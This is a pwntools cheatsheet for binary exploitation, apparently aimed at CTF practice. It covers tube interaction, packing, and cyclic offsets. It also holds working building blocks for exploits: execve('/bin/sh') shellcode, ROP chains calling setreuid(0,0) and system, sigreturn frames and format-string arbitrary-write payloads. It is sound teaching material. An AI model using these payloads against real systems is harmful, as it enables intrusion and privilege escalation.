Pwntools Cheatsheet
- Program Interaction
- Environment and Contexts
- Logging and Output
- Encoding, Packing and Utility
- Assembly and Shellcraft
- ELFs, Strings and Symbols
- Return Oriented Programming
- SROP and Sigreturn Frames
- Format String Exploits
1. Program Interaction
# process objects can be created from a local binary, or created # from a remote socket p = process('./target') p = remote('127.0.0.1', 1337)
# environment variables and command line arguments can also be passed # to the target binary at runtime p = process(['./target', '--arg1', 'some data'], env={'env1': 'some data'})
# you can attach a gdb instance to your already running process p = process('./target') gdb.attach(p) # you can also start the process running under gdb, disable ASLR, # and send gdb script at startup p = gdb.debug('./target', aslr=False, gdbscript='b *main+123')
# writing data to the process `stdin` p.write(b'aaaa') # p.send(b'aaaa') p.writeline(b'aaaa') # p.sendline(b'aaaa'), p.write(b'aaaa' + b'\n') # reading data from the process `stdout` p.read(123) # p.recv(123) p.readline() # p.recvline(), p.readuntil('\n') p.readuntil('some string') # p.recvuntil('some string') p.readall() # p.recvall() p.clean(1) # like `readall` but with a timeout # p.readuntil('some string') ; p.write(b'aaaa') p.writeafter('some string', b'aaaa') # p.sendafter('some string', b'aaaa') # p.readuntil('some string') ; p.writeline(b'aaaa') p.writelineafter('some string', b'aaaa') # p.sendlineafter('some string', b'aaaa') # interacting with the process manually p.interactive() # waiting for the process to finish p.wait()
# you can also use pwntools tubes in python's `with` specifier with process('./target') as p: # interact with process here, when done `p.close()` is called
2. Environment and Contexts
# this list of context values is not exhaustive, these are # just the ones that I use the most often # target architecture (default 'i386') # valid values are 'aarch64', 'arm', 'i386', and 'amd64' # note that this is very important when writing assembly, # packing integers, and when building rop chains context.arch = 'amd64' # endianness (default 'little') # valid values are 'big', and 'little' context.endian = 'big' # log verbosity (default 'info') # valid values are 'debug', 'info', 'warn', and 'error' context.log_level = 'error' # signedness (default 'unsigned') # valid values are 'unsigned', and 'signed' context.sign = 'signed'
# you can also update multiple context values at once with the # `clear` or `update` functions context.clear(arch='amd64', log_level='error') context.update(arch='amd64', log_level='error')
# pwntools also allows you to use what are called 'scoped' # contexts, utilising python's `with` specifier with context.local(log_level='error'): # do stuff
3. Logging and Output
# the most basic logging utilities are below log.warn('a warning message') # -> [!] a warning message log.info('some information') # -> [*] some information log.debug('a debugging message') # -> [DEBUG] a debugging message
# logging errors will trigger an exception in addition # to printing some output log.error('an error occurred') ''' [ERROR] an error occurred --------------------------------------------------------------------------- PwnlibException Traceback (most recent call last) <ipython-input-10-5fe862ad5f5b> in <module> ----> 1 log.error('an error occurred') /usr/local/lib/python3.9/dist-packages/pwnlib/log.py in error(self, message, *args, **kwargs) 422 """ 423 self._log(logging.ERROR, message, args, kwargs, 'error') --> 424 raise PwnlibException(message % args) 425 426 def exception(self, message, *args, **kwargs): PwnlibException: an error occurred '''
# debug messages work a little differently than the # other log levels, by default they're disabled context.log_level = 'debug' # they will also trigger on a lot of normal functions # if the log level is set to debug asm('nop') ''' [DEBUG] cpp -C -nostdinc -undef -P -I/usr/local/lib/python3.9/dist-packages/pwnlib/data/includes /dev/stdin [DEBUG] Assembling .section .shellcode,"awx" .global _start .global __start _start: __start: .intel_syntax noprefix nop [DEBUG] /usr/bin/x86_64-linux-gnu-as -32 -o /tmp/pwn-asm-gl2k0o4t/step2 /tmp/pwn-asm-gl2k0o4t/step1 [DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-gl2k0o4t/step3 /tmp/pwn-asm-gl2k0o4t/step4 '''
4. Encoding, Packing and Utility
# pwntools provides functions for converting to / from # hexadecimal representations of byte strings enhex(b'/flag') # = '2f666c6167' unhex('2f666c6167') # = b'/flag' # pwntools provides functions for converting to / from # base64 representations of byte strings b64e(b'/flag') # = 'L2ZsYWc=' b64d('L2ZsYWc=') # = b'/flag'
# you can also find functions for calculating md5 and sha1 # hashes within the pwntools library md5sumhex(b'hello') # = '5d41402abc4b2a76b9719d911017c592' md5filehex('./some-file') # = '2b00042f7481c7b056c4b410d28f33cf' sha1sumhex(b'hello') # = 'aaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d' sha1filehex('./some-file') # = '7d97e98f8af710c7e7fe703abc8f639e0ee507c4'
# converting from integer representations p8(0x41) # = b'\x41' p16(0x4142) # = b'\x42\x41' p32(0x41424344) # = b'\x44\x43\x42\x41' p64(0x4142434445464748) # = b'\x48\x47\x46\x45\x44\x43\x42\x41' # converting to integer representations u8(b'\x41') # = 0x41 u16(b'\x42\x41') # = 0x4142 u32(b'\x44\x43\x42\x41') # = 0x41424344 u64(b'\x48\x47\x46\x45\x44\x43\x42\x41') # = 0x4142434445464748
# you can also specify endianness with the (un)packing functions p64(0x4142434445464748, endian='big') # = b'\x41\x42\x43\x44\x45\x46\x47\x48 u64(b'\x41\x42\x43\x44\x45\x46\x47\x48', endian='big') # = 0x4142434445464748
# pwntools also provides a `pack` and `unpack` functions for data of # atypical or unusual length pack(0x414243, 24) # = b'\x43\x42\x41' unpack(b'\x41\x42\x43', 24) # = 0x434241
# a leak we've captured from the process `stdout` leak = b'0\xe1u65\x7f' # we can use pwntools' `unpack` function to convert it to # an integer representation leak = unpack(leak, 'all') # leak = 139866523689264 = 0x7f353675e130
# pwntools also provides functions for generating cyclic sequences # of bytes to find various offsets in memory cyclic(16) # = b'aaaabaaacaaadaaa' cyclic(16, n=8) # = b'aaaaaaaabaaaaaaa' cyclic_find(0x61616164) # = 12 cyclic_find(0x6161616161616162, n=8) # = 8
# you can also print hexdumps of byte strings print(hexdump(data)) ''' 00000000 65 4c b6 62 da 4f 1d 1b d8 44 a6 59 a3 e8 69 2c │eL·b│·O··│·D·Y│··i,│ 00000010 09 d8 1c f2 9b 4a 9e 94 14 2b 55 7c 4e a8 52 a5 │····│·J··│·+U|│N·R·│ 00000020 '''
5. Assembly and Shellcraft
The shellcraft module is massive, so maybe just read the documentation.
# you can write shellcode using the `asm` function shellcode = asm(''' execve: lea rdi, [rip+bin_sh] mov rsi, 0 mov rdx, 0 mov rax, SYS_execve syscall bin_sh: .string "/bin/sh" ''') # assembly needs to be converted into bytes in order # to be sent as part of a payload payload = bytes(shellcode)
# here's some assembly for a basic `execve("/bin/sh")` shellcode shellcode = asm(''' mov rax, 0x68732f6e69622f push rax mov rdi, rsp mov rsi, 0 mov rdx, 0 mov rax, SYS_execve syscall ''') # another way to represent this would be to use pwntools' shellcraft # module, of which there are so many ways to do so shellcode = shellcraft.pushstr('/bin/sh') shellcode += shellcraft.syscall('SYS_execve', 'rsp', 0, 0) payload = bytes(asm(shellcode))
# or maybe you can just use pwntools' `sh` template shellcode = shellcraft.sh() payload = bytes(asm(shellcode))
# you can also use gdb to debug shellcode shellcode = ''' execve: lea rdi, [rip+bin_sh] mov rsi, 0 mov rdx, 0 mov rax, SYS_execve syscall bin_sh: .string "/bin/sh" ''' # converting the shellcode we wrote to an elf elf = ELF.from_assembly(shellcode) p = gdb.debug(elf.path)
6. ELFs, Strings and Symbols
# `ELF` objects are instantiated by providing a file name elf = ELF('./target')
# accessing symbols via location elf.plt # contains all symbols located in the PLT elf.got # contains all symbols located in the GOT # elf.sym contains all known symbols, with preference # given to the PLT over the GOT elf.sym # e.g. getting the address of the `puts` function puts = elf.plt.puts # equivalent to elf.sym['puts']
libc = ELF('./libc.so.6') old_puts = libc.sym.puts # = 0x875a0 # you can modify the base address of the elf by setting its # address parameter libc.address = 0xdeadbeef000 # symbol locations will now be calculated relative to that # base address provided new_puts = libc.sym.puts # 0xdeadbf765a0 = 0xdeadbeef + 0x875a0
libc = ELF('./libc.so.6') # you can even find strings in elf files with the `search` function bin_sh = next(elf.search(b'/bin/sh'))
7. Return Oriented Programming
# `ROP` objects are instantiated using an `ELF` object elf = ELF('./target') rop = ROP(elf)
# specific gadgets can be found using the `find_gadget` function pop_rax = rop.find_gadget(['pop rax', 'ret']).address syscall = rop.find_gadget(['syscall', 'ret']).address # another alternative for simple `pop reg; ret` gadgets pop_rdi = rop.rdi.address pop_rsi = rop.rsi.address
pop_rax = 0xdeadbeef syscall = 0xcafebabe # the below is equivalent to `p64(pop_rax) + p64(59) + p64(syscall)`, # when converted to bytes rop.raw(pop_rax) rop.raw(59) rop.raw(syscall)
rop.call(elf.sym.puts, [0xdeadbeef]) # the above `call` function is equivalent to rop.raw(rop.rdi.address) # pop rdi; ret rop.raw(0xdeadbeef) rop.raw(elf.sym.puts)
# rop chains can also be built on top of libc, rather than your # target binary libc = ELF('./libc.so.6') libc.address = 0xdeadbeef # setting the base address of libc bin_sh = next(libc.search(b'/bin/sh')) # note that this rop chain will use gadgets found in libc rop = ROP(libc) # you can also directly call elf symbols (if they're available in) # the elf) instead of using pwntools' `call` function rop.setreuid(0, 0) # equivalent to rop.call(libc.setreuid, [0, 0]) rop.system(bin_sh) # equivalent to rop.call(libc.system, [bin_sh])
# converting the rop chain to bytes in order to send it as # a payload payload = rop.chain()
# printing the rop chain generated by pwn tools print(rop.dump())
8. SROP and Sigreturn Frames
# address of a syscall instruction syscall = 0xdeadbeef # address of a "/bin/sh" string bin_sh = 0xcafebabe # instatiating a sigreturn frame object frame = SigreturnFrame() # setting values of registers (set rip as address to return to) frame.rax = constants.SYS_execve frame.rdi = bin_sh frame.rsi = 0 frame.rdx = 0 frame.rip = syscall
# the sigreturn frame will need to be converted to bytes prior # to being sent as part of a payload payload = bytes(frame)
9. Format String Exploits
# the format string offset offset = 5 # the writes you want to perform writes = { 0x40010: 0xdeadbeef, # write 0xdeadbeef at 0x40010 0x40018: 0xcafebabe # write 0xcafebabe at 0x40018 } # you can use the `fmtstr_payload` function to automatically # generate a payload that performs the writes you specify payload = fmtstr_payload(offset, writes) p.writeline(payload)
# if data is written by the vulnerable function at the start of # your payload, you can specify the number of bytes written payload = fmtstr_payload(offset, writes, numbwritten=8) p.writeline(payload)
p = process('./target') # you will need to define a function that sends your payload to # the target, and returns the value output by the target def send_data(payload): p.sendline(payload) return p.readall() # automatic calculation of the format string offset fmt_str = FmtStr(execute_fmt=send_data) offset = fmt_str.offset
# you can also use the `FmtStr` object to perform your writes fmt_str = FmtStr(execute_fmt=send_data) fmt_str.write(0x40010, 0xdeadbeef) # write 0xdeadbeef at 0x40010 fmt_str.write(0x40018, 0xcafebabe) # write 0xcafebabe at 0x40018 fmt_str.execute_writes()